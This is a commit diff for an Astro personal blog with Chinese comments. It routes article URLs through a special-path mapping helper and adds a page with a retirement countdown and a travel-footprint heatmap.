import { contentStructure, getRelativePath, getBasename, getDirPath, getOriginalPath, getSpecialPath } from '@/content.config';
import type { SectionStructure } from '@/content.config';
import Layout from '@/components/Layout.astro';
import Breadcrumb from '@/components/Breadcrumb.astro';
@ -66,19 +66,30 @@ export async function getStaticPaths() {
};
});
// 为每篇文章生成路由参数
return articlesWithSections.map(article => {
// 检查文章ID是否需要特殊处理
const specialId = getSpecialPath(article.id);
return {
params: { id: article.id },
props: { article, section: article.section }
params: { id: specialId },
props: {
article,
section: article.section,
originalId: specialId !== article.id ? article.id : undefined
}
};
});
}
// 获取文章内容
const { article, section } = Astro.props;
const { article, section, originalId } = Astro.props;
// 如果有原始ID使用它来渲染内容
const articleToRender = originalId ? { ...article, id: originalId } : article;
// 渲染文章内容
const { Content } = await render(article);
const { Content } = await render(articleToRender);
// 获取面包屑导航
const breadcrumbs = section ? section.split('/') : [];
@ -94,6 +105,11 @@ const relatedArticles = allArticles
// 准备文章描述
const description = article.data.summary || `${article.data.title} - 发布于 ${article.data.date.toLocaleDateString('zh-CN')}`;
// 处理特殊ID的函数
function getArticleUrl(articleId: string) {
return `/articles/${getSpecialPath(articleId)}`;
}
---
<Layout
@ -193,7 +209,7 @@ const description = article.data.summary || `${article.data.title} - 发布于 $
<h2 class="text-2xl font-bold mb-6 text-primary-900 dark:text-primary-100">相关文章</h2>
<div class="grid grid-cols-1 md:grid-cols-3 gap-6">
{relatedArticles.map(relatedArticle => (
<a href={`/articles/${relatedArticle.id}`} class="block p-5 border border-gray-200 dark:border-gray-700 rounded-lg bg-white dark:bg-dark-card hover:shadow-xl hover:-translate-y-1 transition-all duration-300 shadow-lg">
<a href={getArticleUrl(relatedArticle.id)} class="block p-5 border border-gray-200 dark:border-gray-700 rounded-lg bg-white dark:bg-dark-card hover:shadow-xl hover:-translate-y-1 transition-all duration-300 shadow-lg">
<h3 class="font-bold text-lg mb-2 line-clamp-2 text-gray-800 dark:text-gray-200 hover:text-primary-700 dark:hover:text-primary-400">{relatedArticle.data.title}</h3>
<p class="text-sm text-secondary-600 dark:text-secondary-400 mb-2">{relatedArticle.data.date.toLocaleDateString('zh-CN')}</p>
{relatedArticle.data.summary && (

View File

@ -1,7 +1,7 @@
---
import { getCollection } from 'astro:content';
import type { CollectionEntry } from 'astro:content';
import { contentStructure, getRelativePath, getBasename, getDirPath } from '../../content.config';
import { contentStructure, getRelativePath, getBasename, getDirPath, getSpecialPath } from '../../content.config';
import Layout from '@/components/Layout.astro';
import Breadcrumb from '@/components/Breadcrumb.astro';
import ArticleTimeline from '@/components/ArticleTimeline.astro';
@ -110,6 +110,10 @@ interface Breadcrumb {
path: string;
}
// 处理特殊ID的函数
function getArticleUrl(articleId: string) {
return `/articles/${getSpecialPath(articleId)}`;
}
---
@ -229,7 +233,7 @@ interface Breadcrumb {
{tagFilter ? (
// 显示标签过滤后的文章
filteredArticles.map(article => (
<a href={`/articles/${article.id}`}
<a href={getArticleUrl(article.id)}
class="group flex flex-col h-full p-5 border border-gray-200 dark:border-gray-700 rounded-xl bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 transition-all duration-300 shadow-lg">
<div class="flex items-start">
<div class="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 text-primary-600 group-hover:bg-primary-200 transition-colors">
@ -328,7 +332,7 @@ interface Breadcrumb {
}
return (
<a href={`/articles/${article.id}`}
<a href={getArticleUrl(article.id)}
class="group flex flex-col h-full p-5 border border-gray-200 dark:border-gray-700 rounded-xl bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 transition-all duration-300 shadow-lg">
<div class="flex items-start">
<div class="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 text-primary-600 group-hover:bg-primary-200 transition-colors">

27
src/pages/other.astro Normal file
View File

@ -0,0 +1,27 @@
---
import Layout from "@/components/Layout.astro";
import { Countdown } from "@/components/Countdown";
// 恢复静态导入
import WorldHeatmap from '@/components/WorldHeatmap';
// 移除动态导入
// const WorldHeatmap = await import('@/components/WorldHeatmap').then(mod => mod.default);
---
<Layout title="退休倒计时">
<div class="container mx-auto px-4 py-8">
<section class="mb-16">
<h2 class="text-3xl font-semibold text-center mb-6">距离退休还有</h2>
<div class="max-w-3xl mx-auto bg-white dark:bg-gray-800 rounded-xl shadow-lg p-8 transition-all hover:shadow-xl">
<Countdown client:load targetDate={"2070-04-06"} />
</div>
</section>
<section class="mb-16">
<h2 class="text-3xl font-semibold text-center mb-6">我的旅行足迹</h2>
<div class="mx-auto bg-white dark:bg-gray-800 rounded-xl shadow-lg p-6 transition-all hover:shadow-xl">
<WorldHeatmap client:only="react" />
</div>
</section>
</div>
</Layout>